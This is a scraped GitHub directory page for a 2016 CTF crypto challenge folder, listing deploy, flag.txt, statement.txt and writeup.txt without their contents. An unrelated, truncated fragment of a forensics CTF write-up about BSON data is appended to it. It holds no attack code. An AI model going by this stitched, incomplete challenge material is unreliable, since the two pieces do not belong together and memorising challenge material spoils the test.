0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/ctf-x/ctfx-problems-2016/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":62685294,"originating_url":"https://github.com/ctf-x/ctfx-problems-2016/tree/master/crypto/customauth-100","user_id":null}}" data-hydro-click-hmac="0a4a46ee20ac9c5f74146aa8c096bab9ad43a4b5d2b81e46aaea142ce7edec96"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/ctf-x/ctfx-problems-2016/refs" cache-key="v0:1467772688.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Y3RmLXgvY3RmeC1wcm9ibGVtcy0yMDE2" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/ctf-x/ctfx-problems-2016/refs" cache-key="v0:1467772688.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Y3RmLXgvY3RmeC1wcm9ibGVtcy0yMDE2" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctfx-problems-2016</span></span></span><span>/</span><span><span>crypto</span></span><span>/</span>customauth-100<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctfx-problems-2016</span></span></span><span>/</span><span><span>crypto</span></span><span>/</span>customauth-100<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/ctf-x/ctfx-problems-2016/tree-commit/b71497b6b3eccbf0b8bebd37918f0f2e8afa1fb4/crypto/customauth-100" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/ctf-x/ctfx-problems-2016/file-list/master/crypto/customauth-100"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>deploy</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>statement.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>writeup.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
## One Bad Son (Forensics, 127p) tl;dr get data from bson, concact flag png
Supplied files:
[One_Bad_Son](One_Bad_Son)
It turns out that windbg formats binary data pretty well (cat/hexump/xxd output wasn't so clear):

After some googling, the data turned out to be a [BSON](https://en.wikipedia.org/wiki/BSON), a format that's used mainly in MongoDB.
Our first guess was to try to load the dump into mongo using a recovery tool, but that turned out to be pointless.
